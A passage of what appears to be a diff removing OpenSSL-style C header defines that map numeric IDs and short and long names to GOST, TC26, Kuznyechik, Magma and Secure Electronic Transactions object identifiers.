-#define SN_id_tc26_gost_28147_constants "id-tc26-gost-28147-constants" -#define NID_id_tc26_cipher_constants 1001 -#define SN_id_tc26_cipher_constants "id-tc26-cipher-constants" -#define NID_id_tc26_digest_constants 1000 -#define SN_id_tc26_digest_constants "id-tc26-digest-constants" -#define NID_id_tc26_gost_3410_2012_512_paramSetC 1149 -#define LN_id_tc26_gost_3410_2012_512_paramSetC "GOST R 34.10-2012 (512 bit) ParamSet C" -#define SN_id_tc26_gost_3410_2012_512_paramSetC "id-tc26-gost-3410-2012-512-paramSetC" -#define NID_id_tc26_gost_3410_2012_512_paramSetB 999 -#define LN_id_tc26_gost_3410_2012_512_paramSetB "GOST R 34.10-2012 (512 bit) ParamSet B" -#define SN_id_tc26_gost_3410_2012_512_paramSetB "id-tc26-gost-3410-2012-512-paramSetB" -#define NID_id_tc26_gost_3410_2012_512_paramSetA 998 -#define LN_id_tc26_gost_3410_2012_512_paramSetA "GOST R 34.10-2012 (512 bit) ParamSet A" -#define SN_id_tc26_gost_3410_2012_512_paramSetA "id-tc26-gost-3410-2012-512-paramSetA" -#define NID_id_tc26_gost_3410_2012_512_paramSetTest 997 -#define LN_id_tc26_gost_3410_2012_512_paramSetTest "GOST R 34.10-2012 (512 bit) testing parameter set" -#define SN_id_tc26_gost_3410_2012_512_paramSetTest "id-tc26-gost-3410-2012-512-paramSetTest" -#define NID_id_tc26_gost_3410_2012_512_constants 996 -#define SN_id_tc26_gost_3410_2012_512_constants "id-tc26-gost-3410-2012-512-constants" -#define NID_id_tc26_gost_3410_2012_256_paramSetD 1186 -#define LN_id_tc26_gost_3410_2012_256_paramSetD "GOST R 34.10-2012 (256 bit) ParamSet D" -#define SN_id_tc26_gost_3410_2012_256_paramSetD "id-tc26-gost-3410-2012-256-paramSetD" -#define NID_id_tc26_gost_3410_2012_256_paramSetC 1185 -#define LN_id_tc26_gost_3410_2012_256_paramSetC "GOST R 34.10-2012 (256 bit) ParamSet C" -#define SN_id_tc26_gost_3410_2012_256_paramSetC "id-tc26-gost-3410-2012-256-paramSetC" -#define NID_id_tc26_gost_3410_2012_256_paramSetB 1184 -#define LN_id_tc26_gost_3410_2012_256_paramSetB "GOST R 34.10-2012 (256 bit) ParamSet B" -#define SN_id_tc26_gost_3410_2012_256_paramSetB "id-tc26-gost-3410-2012-256-paramSetB" -#define NID_id_tc26_gost_3410_2012_256_paramSetA 1148 -#define LN_id_tc26_gost_3410_2012_256_paramSetA "GOST R 34.10-2012 (256 bit) ParamSet A" -#define SN_id_tc26_gost_3410_2012_256_paramSetA "id-tc26-gost-3410-2012-256-paramSetA" -#define NID_id_tc26_gost_3410_2012_256_constants 1147 -#define SN_id_tc26_gost_3410_2012_256_constants "id-tc26-gost-3410-2012-256-constants" -#define NID_id_tc26_sign_constants 995 -#define SN_id_tc26_sign_constants "id-tc26-sign-constants" -#define NID_id_tc26_constants 994 -#define SN_id_tc26_constants "id-tc26-constants" -#define NID_kuznyechik_kexp15 1183 -#define SN_kuznyechik_kexp15 "kuznyechik-kexp15" -#define NID_id_tc26_wrap_gostr3412_2015_kuznyechik 1182 -#define SN_id_tc26_wrap_gostr3412_2015_kuznyechik "id-tc26-wrap-gostr3412-2015-kuznyechik" -#define NID_magma_kexp15 1181 -#define SN_magma_kexp15 "magma-kexp15" -#define NID_id_tc26_wrap_gostr3412_2015_magma 1180 -#define SN_id_tc26_wrap_gostr3412_2015_magma "id-tc26-wrap-gostr3412-2015-magma" -#define NID_id_tc26_wrap 1179 -#define SN_id_tc26_wrap "id-tc26-wrap" -#define NID_id_tc26_agreement_gost_3410_2012_512 993 -#define SN_id_tc26_agreement_gost_3410_2012_512 "id-tc26-agreement-gost-3410-2012-512" -#define NID_id_tc26_agreement_gost_3410_2012_256 992 -#define SN_id_tc26_agreement_gost_3410_2012_256 "id-tc26-agreement-gost-3410-2012-256" -#define NID_id_tc26_agreement 991 -#define SN_id_tc26_agreement "id-tc26-agreement" -#define NID_kuznyechik_ctr_acpkm_omac 1178 -#define SN_kuznyechik_ctr_acpkm_omac "kuznyechik-ctr-acpkm-omac" -#define NID_kuznyechik_ctr_acpkm 1177 -#define SN_kuznyechik_ctr_acpkm "kuznyechik-ctr-acpkm" -#define NID_id_tc26_cipher_gostr3412_2015_kuznyechik 1176 -#define SN_id_tc26_cipher_gostr3412_2015_kuznyechik "id-tc26-cipher-gostr3412-2015-kuznyechik" -#define NID_magma_ctr_acpkm_omac 1175 -#define SN_magma_ctr_acpkm_omac "magma-ctr-acpkm-omac" -#define NID_magma_ctr_acpkm 1174 -#define SN_magma_ctr_acpkm "magma-ctr-acpkm" -#define NID_id_tc26_cipher_gostr3412_2015_magma 1173 -#define SN_id_tc26_cipher_gostr3412_2015_magma "id-tc26-cipher-gostr3412-2015-magma" -#define NID_id_tc26_cipher 990 -#define SN_id_tc26_cipher "id-tc26-cipher" -#define NID_id_tc26_hmac_gost_3411_2012_512 989 -#define LN_id_tc26_hmac_gost_3411_2012_512 "HMAC GOST 34.11-2012 512 bit" -#define SN_id_tc26_hmac_gost_3411_2012_512 "id-tc26-hmac-gost-3411-2012-512" -#define NID_id_tc26_hmac_gost_3411_2012_256 988 -#define LN_id_tc26_hmac_gost_3411_2012_256 "HMAC GOST 34.11-2012 256 bit" -#define SN_id_tc26_hmac_gost_3411_2012_256 "id-tc26-hmac-gost-3411-2012-256" -#define NID_id_tc26_mac 987 -#define SN_id_tc26_mac "id-tc26-mac" -#define NID_id_tc26_signwithdigest_gost3410_2012_512 986 -#define LN_id_tc26_signwithdigest_gost3410_2012_512 "GOST R 34.10-2012 with GOST R 34.11-2012 (512 bit)" -#define SN_id_tc26_signwithdigest_gost3410_2012_512 "id-tc26-signwithdigest-gost3410-2012-512" -#define NID_id_tc26_signwithdigest_gost3410_2012_256 985 -#define LN_id_tc26_signwithdigest_gost3410_2012_256 "GOST R 34.10-2012 with GOST R 34.11-2012 (256 bit)" -#define SN_id_tc26_signwithdigest_gost3410_2012_256 "id-tc26-signwithdigest-gost3410-2012-256" -#define NID_id_tc26_signwithdigest 984 -#define SN_id_tc26_signwithdigest "id-tc26-signwithdigest" -#define NID_id_GostR3411_2012_512 983 -#define LN_id_GostR3411_2012_512 "GOST R 34.11-2012 with 512 bit hash" -#define SN_id_GostR3411_2012_512 "md_gost12_512" -#define NID_id_GostR3411_2012_256 982 -#define LN_id_GostR3411_2012_256 "GOST R 34.11-2012 with 256 bit hash" -#define SN_id_GostR3411_2012_256 "md_gost12_256" -#define NID_id_tc26_digest 981 -#define SN_id_tc26_digest "id-tc26-digest" -#define NID_id_GostR3410_2012_512 980 -#define LN_id_GostR3410_2012_512 "GOST R 34.10-2012 with 512 bit modulus" -#define SN_id_GostR3410_2012_512 "gost2012_512" -#define NID_id_GostR3410_2012_256 979 -#define LN_id_GostR3410_2012_256 "GOST R 34.10-2012 with 256 bit modulus" -#define SN_id_GostR3410_2012_256 "gost2012_256" -#define NID_id_tc26_sign 978 -#define SN_id_tc26_sign "id-tc26-sign" -#define NID_id_tc26_algorithms 977 -#define SN_id_tc26_algorithms "id-tc26-algorithms" -#define NID_id_GostR3410_2001_ParamSet_cc 854 -#define LN_id_GostR3410_2001_ParamSet_cc "GOST R 3410-2001 Parameter Set Cryptocom" -#define SN_id_GostR3410_2001_ParamSet_cc "id-GostR3410-2001-ParamSet-cc" -#define NID_id_GostR3411_94_with_GostR3410_2001_cc 853 -#define LN_id_GostR3411_94_with_GostR3410_2001_cc "GOST R 34.11-94 with GOST R 34.10-2001 Cryptocom" -#define SN_id_GostR3411_94_with_GostR3410_2001_cc "id-GostR3411-94-with-GostR3410-2001-cc" -#define NID_id_GostR3411_94_with_GostR3410_94_cc 852 -#define LN_id_GostR3411_94_with_GostR3410_94_cc "GOST R 34.11-94 with GOST R 34.10-94 Cryptocom" -#define SN_id_GostR3411_94_with_GostR3410_94_cc "id-GostR3411-94-with-GostR3410-94-cc" -#define NID_id_GostR3410_2001_cc 851 -#define LN_id_GostR3410_2001_cc "GOST 34.10-2001 Cryptocom" -#define SN_id_GostR3410_2001_cc "gost2001cc" -#define NID_id_GostR3410_94_cc 850 -#define LN_id_GostR3410_94_cc "GOST 34.10-94 Cryptocom" -#define SN_id_GostR3410_94_cc "gost94cc" -#define NID_id_Gost28147_89_cc 849 -#define LN_id_Gost28147_89_cc "GOST 28147-89 Cryptocom ParamSet" -#define SN_id_Gost28147_89_cc "id-Gost28147-89-cc" -#define NID_id_GostR3410_94_bBis 848 -#define SN_id_GostR3410_94_bBis "id-GostR3410-94-bBis" -#define NID_id_GostR3410_94_b 847 -#define SN_id_GostR3410_94_b "id-GostR3410-94-b" -#define NID_id_GostR3410_94_aBis 846 -#define SN_id_GostR3410_94_aBis "id-GostR3410-94-aBis" -#define NID_id_GostR3410_94_a 845 -#define SN_id_GostR3410_94_a "id-GostR3410-94-a" -#define NID_id_GostR3410_2001_CryptoPro_XchB_ParamSet 844 -#define SN_id_GostR3410_2001_CryptoPro_XchB_ParamSet "id-GostR3410-2001-CryptoPro-XchB-ParamSet" -#define NID_id_GostR3410_2001_CryptoPro_XchA_ParamSet 843 -#define SN_id_GostR3410_2001_CryptoPro_XchA_ParamSet "id-GostR3410-2001-CryptoPro-XchA-ParamSet" -#define NID_id_GostR3410_2001_CryptoPro_C_ParamSet 842 -#define SN_id_GostR3410_2001_CryptoPro_C_ParamSet "id-GostR3410-2001-CryptoPro-C-ParamSet" -#define NID_id_GostR3410_2001_CryptoPro_B_ParamSet 841 -#define SN_id_GostR3410_2001_CryptoPro_B_ParamSet "id-GostR3410-2001-CryptoPro-B-ParamSet" -#define NID_id_GostR3410_2001_CryptoPro_A_ParamSet 840 -#define SN_id_GostR3410_2001_CryptoPro_A_ParamSet "id-GostR3410-2001-CryptoPro-A-ParamSet" -#define NID_id_GostR3410_2001_TestParamSet 839 -#define SN_id_GostR3410_2001_TestParamSet "id-GostR3410-2001-TestParamSet" -#define NID_id_GostR3410_94_CryptoPro_XchC_ParamSet 838 -#define SN_id_GostR3410_94_CryptoPro_XchC_ParamSet "id-GostR3410-94-CryptoPro-XchC-ParamSet" -#define NID_id_GostR3410_94_CryptoPro_XchB_ParamSet 837 -#define SN_id_GostR3410_94_CryptoPro_XchB_ParamSet "id-GostR3410-94-CryptoPro-XchB-ParamSet" -#define NID_id_GostR3410_94_CryptoPro_XchA_ParamSet 836 -#define SN_id_GostR3410_94_CryptoPro_XchA_ParamSet "id-GostR3410-94-CryptoPro-XchA-ParamSet" -#define NID_id_GostR3410_94_CryptoPro_D_ParamSet 835 -#define SN_id_GostR3410_94_CryptoPro_D_ParamSet "id-GostR3410-94-CryptoPro-D-ParamSet" -#define NID_id_GostR3410_94_CryptoPro_C_ParamSet 834 -#define SN_id_GostR3410_94_CryptoPro_C_ParamSet "id-GostR3410-94-CryptoPro-C-ParamSet" -#define NID_id_GostR3410_94_CryptoPro_B_ParamSet 833 -#define SN_id_GostR3410_94_CryptoPro_B_ParamSet "id-GostR3410-94-CryptoPro-B-ParamSet" -#define NID_id_GostR3410_94_CryptoPro_A_ParamSet 832 -#define SN_id_GostR3410_94_CryptoPro_A_ParamSet "id-GostR3410-94-CryptoPro-A-ParamSet" -#define NID_id_GostR3410_94_TestParamSet 831 -#define SN_id_GostR3410_94_TestParamSet "id-GostR3410-94-TestParamSet" -#define NID_id_Gost28147_89_CryptoPro_RIC_1_ParamSet 830 -#define SN_id_Gost28147_89_CryptoPro_RIC_1_ParamSet "id-Gost28147-89-CryptoPro-RIC-1-ParamSet" -#define NID_id_Gost28147_89_CryptoPro_Oscar_1_0_ParamSet 829 -#define SN_id_Gost28147_89_CryptoPro_Oscar_1_0_ParamSet "id-Gost28147-89-CryptoPro-Oscar-1-0-ParamSet" -#define NID_id_Gost28147_89_CryptoPro_Oscar_1_1_ParamSet 828 -#define SN_id_Gost28147_89_CryptoPro_Oscar_1_1_ParamSet "id-Gost28147-89-CryptoPro-Oscar-1-1-ParamSet" -#define NID_id_Gost28147_89_CryptoPro_D_ParamSet 827 -#define SN_id_Gost28147_89_CryptoPro_D_ParamSet "id-Gost28147-89-CryptoPro-D-ParamSet" -#define NID_id_Gost28147_89_CryptoPro_C_ParamSet 826 -#define SN_id_Gost28147_89_CryptoPro_C_ParamSet "id-Gost28147-89-CryptoPro-C-ParamSet" -#define NID_id_Gost28147_89_CryptoPro_B_ParamSet 825 -#define SN_id_Gost28147_89_CryptoPro_B_ParamSet "id-Gost28147-89-CryptoPro-B-ParamSet" -#define NID_id_Gost28147_89_CryptoPro_A_ParamSet 824 -#define SN_id_Gost28147_89_CryptoPro_A_ParamSet "id-Gost28147-89-CryptoPro-A-ParamSet" -#define NID_id_Gost28147_89_TestParamSet 823 -#define SN_id_Gost28147_89_TestParamSet "id-Gost28147-89-TestParamSet" -#define NID_id_GostR3411_94_CryptoProParamSet 822 -#define SN_id_GostR3411_94_CryptoProParamSet "id-GostR3411-94-CryptoProParamSet" -#define NID_id_GostR3411_94_TestParamSet 821 -#define SN_id_GostR3411_94_TestParamSet "id-GostR3411-94-TestParamSet" -#define NID_id_Gost28147_89_None_KeyMeshing 820 -#define SN_id_Gost28147_89_None_KeyMeshing "id-Gost28147-89-None-KeyMeshing" -#define NID_id_Gost28147_89_CryptoPro_KeyMeshing 819 -#define SN_id_Gost28147_89_CryptoPro_KeyMeshing "id-Gost28147-89-CryptoPro-KeyMeshing" -#define NID_id_GostR3410_94DH 818 -#define LN_id_GostR3410_94DH "GOST R 34.10-94 DH" -#define SN_id_GostR3410_94DH "id-GostR3410-94DH" -#define NID_id_GostR3410_2001DH 817 -#define LN_id_GostR3410_2001DH "GOST R 34.10-2001 DH" -#define SN_id_GostR3410_2001DH "id-GostR3410-2001DH" -#define NID_id_GostR3411_94_prf 816 -#define LN_id_GostR3411_94_prf "GOST R 34.11-94 PRF" -#define SN_id_GostR3411_94_prf "prf-gostr3411-94" -#define NID_gost_mac_12 976 -#define SN_gost_mac_12 "gost-mac-12" -#define NID_id_Gost28147_89_MAC 815 -#define LN_id_Gost28147_89_MAC "GOST 28147-89 MAC" -#define SN_id_Gost28147_89_MAC "gost-mac" -#define NID_gost89_ctr 1011 -#define SN_gost89_ctr "gost89-ctr" -#define NID_gost89_ecb 1010 -#define SN_gost89_ecb "gost89-ecb" -#define NID_gost89_cbc 1009 -#define SN_gost89_cbc "gost89-cbc" -#define NID_gost89_cnt_12 975 -#define SN_gost89_cnt_12 "gost89-cnt-12" -#define NID_gost89_cnt 814 -#define SN_gost89_cnt "gost89-cnt" -#define NID_id_Gost28147_89 813 -#define LN_id_Gost28147_89 "GOST 28147-89" -#define SN_id_Gost28147_89 "gost89" -#define NID_id_GostR3410_94 812 -#define LN_id_GostR3410_94 "GOST R 34.10-94" -#define SN_id_GostR3410_94 "gost94" -#define NID_id_GostR3410_2001 811 -#define LN_id_GostR3410_2001 "GOST R 34.10-2001" -#define SN_id_GostR3410_2001 "gost2001" -#define NID_id_HMACGostR3411_94 810 -#define LN_id_HMACGostR3411_94 "HMAC GOST 34.11-94" -#define SN_id_HMACGostR3411_94 "id-HMACGostR3411-94" -#define NID_id_GostR3411_94 809 -#define LN_id_GostR3411_94 "GOST R 34.11-94" -#define SN_id_GostR3411_94 "md_gost94" -#define NID_id_GostR3411_94_with_GostR3410_94 808 -#define LN_id_GostR3411_94_with_GostR3410_94 "GOST R 34.11-94 with GOST R 34.10-94" -#define SN_id_GostR3411_94_with_GostR3410_94 "id-GostR3411-94-with-GostR3410-94" -#define NID_id_GostR3411_94_with_GostR3410_2001 807 -#define LN_id_GostR3411_94_with_GostR3410_2001 "GOST R 34.11-94 with GOST R 34.10-2001" -#define SN_id_GostR3411_94_with_GostR3410_2001 "id-GostR3411-94-with-GostR3410-2001" -#define NID_id_tc26 974 -#define SN_id_tc26 "id-tc26" -#define NID_cryptocom 806 -#define SN_cryptocom "cryptocom" -#define NID_cryptopro 805 -#define SN_cryptopro "cryptopro" -#define NID_whirlpool 804 -#define SN_whirlpool "whirlpool" -#define NID_ipsec4 750 -#define LN_ipsec4 "ipsec4" -#define SN_ipsec4 "Oakley-EC2N-4" -#define NID_ipsec3 749 -#define LN_ipsec3 "ipsec3" -#define SN_ipsec3 "Oakley-EC2N-3" -#define NID_rsaOAEPEncryptionSET 644 -#define SN_rsaOAEPEncryptionSET "rsaOAEPEncryptionSET" -#define NID_des_cdmf 643 -#define LN_des_cdmf "des-cdmf" -#define SN_des_cdmf "DES-CDMF" -#define NID_set_brand_Novus 642 -#define SN_set_brand_Novus "set-brand-Novus" -#define NID_set_brand_MasterCard 641 -#define SN_set_brand_MasterCard "set-brand-MasterCard" -#define NID_set_brand_Visa 640 -#define SN_set_brand_Visa "set-brand-Visa" -#define NID_set_brand_JCB 639 -#define SN_set_brand_JCB "set-brand-JCB" -#define NID_set_brand_AmericanExpress 638 -#define SN_set_brand_AmericanExpress "set-brand-AmericanExpress" -#define NID_set_brand_Diners 637 -#define SN_set_brand_Diners "set-brand-Diners" -#define NID_set_brand_IATA_ATA 636 -#define SN_set_brand_IATA_ATA "set-brand-IATA-ATA" -#define NID_setAttr_SecDevSig 635 -#define LN_setAttr_SecDevSig "secure device signature" -#define SN_setAttr_SecDevSig "setAttr-SecDevSig" -#define NID_setAttr_TokICCsig 634 -#define LN_setAttr_TokICCsig "ICC or token signature" -#define SN_setAttr_TokICCsig "setAttr-TokICCsig" -#define NID_setAttr_T2cleartxt 633 -#define LN_setAttr_T2cleartxt "cleartext track 2" -#define SN_setAttr_T2cleartxt "setAttr-T2cleartxt" -#define NID_setAttr_T2Enc 632 -#define LN_setAttr_T2Enc "encrypted track 2" -#define SN_setAttr_T2Enc "setAttr-T2Enc" -#define NID_setAttr_GenCryptgrm 631 -#define LN_setAttr_GenCryptgrm "generate cryptogram" -#define SN_setAttr_GenCryptgrm "setAttr-GenCryptgrm" -#define NID_setAttr_IssCap_Sig 630 -#define SN_setAttr_IssCap_Sig "setAttr-IssCap-Sig" -#define NID_setAttr_IssCap_T2 629 -#define SN_setAttr_IssCap_T2 "setAttr-IssCap-T2" -#define NID_setAttr_IssCap_CVM 628 -#define SN_setAttr_IssCap_CVM "setAttr-IssCap-CVM" -#define NID_setAttr_Token_B0Prime 627 -#define SN_setAttr_Token_B0Prime "setAttr-Token-B0Prime" -#define NID_setAttr_Token_EMV 626 -#define SN_setAttr_Token_EMV "setAttr-Token-EMV" -#define NID_set_addPolicy 625 -#define SN_set_addPolicy "set-addPolicy" -#define NID_set_rootKeyThumb 624 -#define SN_set_rootKeyThumb "set-rootKeyThumb" -#define NID_setAttr_IssCap 623 -#define LN_setAttr_IssCap "issuer capabilities" -#define SN_setAttr_IssCap "setAttr-IssCap" -#define NID_setAttr_TokenType 622 -#define SN_setAttr_TokenType "setAttr-TokenType" -#define NID_setAttr_PGWYcap 621 -#define LN_setAttr_PGWYcap "payment gateway capabilities" -#define SN_setAttr_PGWYcap "setAttr-PGWYcap" -#define NID_setAttr_Cert 620 -#define SN_setAttr_Cert "setAttr-Cert" -#define NID_setCext_IssuerCapabilities 619 -#define SN_setCext_IssuerCapabilities "setCext-IssuerCapabilities" -#define NID_setCext_TokenType 618 -#define SN_setCext_TokenType "setCext-TokenType" -#define NID_setCext_Track2Data 617 -#define SN_setCext_Track2Data "setCext-Track2Data" -#define NID_setCext_TokenIdentifier 616 -#define SN_setCext_TokenIdentifier "setCext-TokenIdentifier" -#define NID_setCext_PGWYcapabilities 615 -#define SN_setCext_PGWYcapabilities "setCext-PGWYcapabilities" -#define NID_setCext_setQualf 614 -#define SN_setCext_setQualf "setCext-setQualf" -#define NID_setCext_setExt 613 -#define SN_setCext_setExt "setCext-setExt" -#define NID_setCext_tunneling 612 -#define SN_setCext_tunneling "setCext-tunneling" -#define NID_setCext_cCertRequired 611 -#define SN_setCext_cCertRequired "setCext-cCertRequired" -#define NID_setCext_merchData 610 -#define SN_setCext_merchData "setCext-merchData" -#define NID_setCext_certType 609 -#define SN_setCext_certType "setCext-certType" -#define NID_setCext_hashedRoot 608 -#define SN_setCext_hashedRoot "setCext-hashedRoot" -#define NID_set_policy_root 607 -#define SN_set_policy_root "set-policy-root" -#define NID_setext_cv 606 -#define LN_setext_cv "additional verification" -#define SN_setext_cv "setext-cv" -#define NID_setext_track2 605 -#define SN_setext_track2 "setext-track2" -#define NID_setext_pinAny 604 -#define SN_setext_pinAny "setext-pinAny" -#define NID_setext_pinSecure 603 -#define SN_setext_pinSecure "setext-pinSecure" -#define NID_setext_miAuth 602 -#define LN_setext_miAuth "merchant initiated auth" -#define SN_setext_miAuth "setext-miAuth" -#define NID_setext_genCrypt 601 -#define LN_setext_genCrypt "generic cryptogram" -#define SN_setext_genCrypt "setext-genCrypt" -#define NID_setct_BCIDistributionTBS 600 -#define SN_setct_BCIDistributionTBS "setct-BCIDistributionTBS" -#define NID_setct_CRLNotificationResTBS 599 -#define SN_setct_CRLNotificationResTBS "setct-CRLNotificationResTBS" -#define NID_setct_CRLNotificationTBS 598 -#define SN_setct_CRLNotificationTBS "setct-CRLNotificationTBS" -#define NID_setct_CertResTBE 597 -#define SN_setct_CertResTBE "setct-CertResTBE" -#define NID_setct_CertReqTBEX 596 -#define SN_setct_CertReqTBEX "setct-CertReqTBEX" -#define NID_setct_CertReqTBE 595 -#define SN_setct_CertReqTBE "setct-CertReqTBE" -#define NID_setct_RegFormReqTBE 594 -#define SN_setct_RegFormReqTBE "setct-RegFormReqTBE" -#define NID_setct_BatchAdminResTBE 593 -#define SN_setct_BatchAdminResTBE "setct-BatchAdminResTBE" -#define NID_setct_BatchAdminReqTBE 592 -#define SN_setct_BatchAdminReqTBE "setct-BatchAdminReqTBE" -#define NID_setct_CredRevResTBE 591 -#define SN_setct_CredRevResTBE "setct-CredRevResTBE" -#define NID_setct_CredRevReqTBEX 590 -#define SN_setct_CredRevReqTBEX "setct-CredRevReqTBEX" -#define NID_setct_CredRevReqTBE 589 -#define SN_setct_CredRevReqTBE "setct-CredRevReqTBE" -#define NID_setct_CredResTBE 588 -#define SN_setct_CredResTBE "setct-CredResTBE" -#define NID_setct_CredReqTBEX 587 -#define SN_setct_CredReqTBEX "setct-CredReqTBEX" -#define NID_setct_CredReqTBE 586 -#define SN_setct_CredReqTBE "setct-CredReqTBE" -#define NID_setct_CapRevResTBE 585 -#define SN_setct_CapRevResTBE "setct-CapRevResTBE" -#define NID_setct_CapRevReqTBEX 584 -#define SN_setct_CapRevReqTBEX "setct-CapRevReqTBEX" -#define NID_setct_CapRevReqTBE 583 -#define SN_setct_CapRevReqTBE "setct-CapRevReqTBE" -#define NID_setct_CapResTBE 582 -#define SN_setct_CapResTBE "setct-CapResTBE" -#define NID_setct_CapReqTBEX 581 -#define SN_setct_CapReqTBEX "setct-CapReqTBEX" -#define NID_setct_CapReqTBE 580 -#define SN_setct_CapReqTBE "setct-CapReqTBE" -#define NID_setct_AuthRevResTBEB 579 -#define SN_setct_AuthRevResTBEB "setct-AuthRevResTBEB" -#define NID_setct_AuthRevResTBE 578 -#define SN_setct_AuthRevResTBE "setct-AuthRevResTBE" -#define NID_setct_AuthRevReqTBE 577 -#define SN_setct_AuthRevReqTBE "setct-AuthRevReqTBE" -#define NID_setct_AcqCardCodeMsgTBE 576 -#define SN_setct_AcqCardCodeMsgTBE "setct-AcqCardCodeMsgTBE" -#define NID_setct_CapTokenTBEX 575 -#define SN_setct_CapTokenTBEX "setct-CapTokenTBEX" -#define NID_setct_CapTokenTBE 574 -#define SN_setct_CapTokenTBE "setct-CapTokenTBE" -#define NID_setct_AuthTokenTBE 573 -#define SN_setct_AuthTokenTBE "setct-AuthTokenTBE" -#define NID_setct_AuthResTBEX 572 -#define SN_setct_AuthResTBEX "setct-AuthResTBEX" -#define NID_setct_AuthResTBE 571 -#define SN_setct_AuthResTBE "setct-AuthResTBE" -#define NID_setct_AuthReqTBE 570 -#define SN_setct_AuthReqTBE "setct-AuthReqTBE" -#define NID_setct_PIUnsignedTBE 569 -#define SN_setct_PIUnsignedTBE "setct-PIUnsignedTBE" -#define NID_setct_PIDualSignedTBE 568 -#define SN_setct_PIDualSignedTBE "setct-PIDualSignedTBE" -#define NID_setct_ErrorTBS 567 -#define SN_setct_ErrorTBS "setct-ErrorTBS" -#define NID_setct_CertInqReqTBS 566 -#define SN_setct_CertInqReqTBS "setct-CertInqReqTBS" -#define NID_setct_CertResData 565 -#define SN_setct_CertResData "setct-CertResData" -#define NID_setct_CertReqTBS 564 -#define SN_setct_CertReqTBS "setct-CertReqTBS" -#define NID_setct_CertReqData 563 -#define SN_setct_CertReqData "setct-CertReqData" -#define NID_setct_RegFormResTBS 562 -#define SN_setct_RegFormResTBS "setct-RegFormResTBS" -#define NID_setct_MeAqCInitResTBS 561 -#define SN_setct_MeAqCInitResTBS "setct-MeAqCInitResTBS" -#define NID_setct_CardCInitResTBS 560 -#define SN_setct_CardCInitResTBS "setct-CardCInitResTBS" -#define NID_setct_BatchAdminResData 559 -#define SN_setct_BatchAdminResData "setct-BatchAdminResData" -#define NID_setct_BatchAdminReqData 558 -#define SN_setct_BatchAdminReqData "setct-BatchAdminReqData" -#define NID_setct_PCertResTBS 557 -#define SN_setct_PCertResTBS "setct-PCertResTBS" -#define NID_setct_PCertReqData 556 -#define SN_setct_PCertReqData "setct-PCertReqData" -#define NID_setct_CredRevResData 555 -#define SN_setct_CredRevResData "setct-CredRevResData" -#define NID_setct_CredRevReqTBSX 554 -#define SN_setct_CredRevReqTBSX "setct-CredRevReqTBSX" -#define NID_setct_CredRevReqTBS 553 -#define SN_setct_CredRevReqTBS "setct-CredRevReqTBS" -#define NID_setct_CredResData 552 -#define SN_setct_CredResData "setct-CredResData" -#define NID_setct_CredReqTBSX 551 -#define SN_setct_CredReqTBSX "setct-CredReqTBSX" -#define NID_setct_CredReqTBS 550 -#define SN_setct_CredReqTBS "setct-CredReqTBS" -#define NID_setct_CapRevResData 549 -#define SN_setct_CapRevResData "setct-CapRevResData" -#define NID_setct_CapRevReqTBSX 548 -#define SN_setct_CapRevReqTBSX "setct-CapRevReqTBSX" -#define NID_setct_CapRevReqTBS 547 -#define SN_setct_CapRevReqTBS "setct-CapRevReqTBS" -#define NID_setct_CapResData 546 -#define SN_setct_CapResData "setct-CapResData" -#define NID_setct_CapReqTBSX 545 -#define SN_setct_CapReqTBSX "setct-CapReqTBSX" -#define NID_setct_CapReqTBS 544 -#define SN_setct_CapReqTBS "setct-CapReqTBS" -#define NID_setct_AuthRevResTBS 543 -#define SN_setct_AuthRevResTBS "setct-AuthRevResTBS" -#define NID_setct_AuthRevResData 542 -#define SN_setct_AuthRevResData "setct-AuthRevResData" -#define NID_setct_AuthRevReqTBS 541 -#define SN_setct_AuthRevReqTBS "setct-AuthRevReqTBS" -#define NID_setct_AcqCardCodeMsg 540 -#define SN_setct_AcqCardCodeMsg "setct-AcqCardCodeMsg" -#define NID_setct_CapTokenTBS 539 -#define SN_setct_CapTokenTBS "setct-CapTokenTBS" -#define NID_setct_CapTokenData 538 -#define SN_setct_CapTokenData "setct-CapTokenData" -#define NID_setct_AuthTokenTBS 537 -#define SN_setct_AuthTokenTBS "setct-AuthTokenTBS" -#define NID_setct_AuthResTBSX 536 -#define SN_setct_AuthResTBSX "setct-AuthResTBSX" -#define NID_setct_AuthResTBS 535 -#define SN_setct_AuthResTBS "setct-AuthResTBS" -#define NID_setct_AuthReqTBS 534 -#define SN_setct_AuthReqTBS "setct-AuthReqTBS" -#define NID_setct_PResData 533 -#define SN_setct_PResData "setct-PResData" -#define NID_setct_PI_TBS 532 -#define SN_setct_PI_TBS "setct-PI-TBS" -#define NID_setct_PInitResData 531 -#define SN_setct_PInitResData "setct-PInitResData" -#define NID_setct_CapTokenSeq 530 -#define SN_setct_CapTokenSeq "setct-CapTokenSeq" -#define NID_setct_AuthRevResBaggage 529 -#define SN_setct_AuthRevResBaggage "setct-AuthRevResBaggage" -#define NID_setct_AuthRevReqBaggage 528 -#define SN_setct_AuthRevReqBaggage "setct-AuthRevReqBaggage" -#define NID_setct_AuthResBaggage 527 -#define SN_setct_AuthResBaggage "setct-AuthResBaggage" -#define NID_setct_HODInput 526 -#define SN_setct_HODInput "setct-HODInput" -#define NID_setct_PIDataUnsigned 525 -#define SN_setct_PIDataUnsigned "setct-PIDataUnsigned" -#define NID_setct_PIData 524 -#define SN_setct_PIData "setct-PIData" -#define NID_setct_PI 523 -#define SN_setct_PI "setct-PI" -#define NID_setct_OIData 522 -#define SN_setct_OIData "setct-OIData" -#define NID_setct_PANOnly 521 -#define SN_setct_PANOnly "setct-PANOnly" -#define NID_setct_PANToken 520 -#define SN_setct_PANToken "setct-PANToken" -#define NID_setct_PANData 519 -#define SN_setct_PANData "setct-PANData" -#define NID_set_brand 518 -#define SN_set_brand "set-brand" -#define NID_set_certExt 517 -#define LN_set_certExt "certificate extensions" -#define SN_set_certExt "set-certExt" -#define NID_set_policy 516 -#define SN_set_policy "set-policy" -#define NID_set_attr 515 -#define SN_set_attr "set-attr" -#define NID_set_msgExt 514 -#define LN_set_msgExt "message extensions" -#define SN_set_msgExt "set-msgExt" -#define NID_set_ctype 513 -#define LN_set_ctype "content types" -#define SN_set_ctype "set-ctype" -#define NID_id_set 512 -#define LN_id_set "Secure Electronic Transactions" -#define SN_id_set "id-set" -#define NID_documentPublisher 502 -#define LN_documentPublisher "documentPublisher" -#define NID_audio 501 -#define SN_audio "audio" -#define NID_dITRedirect 500 -#define LN_dITRedirect "dITRedirect" -#define NID_personalSignature 499 -#define LN_personalSignature "personalSignature" -#define NID_subtreeMaximumQuality 498 -#define LN_subtreeMaximumQuality "subtreeMaximumQuality" -#define NID_subtreeMinimumQuality 497 -#define LN_subtreeMinimumQuality 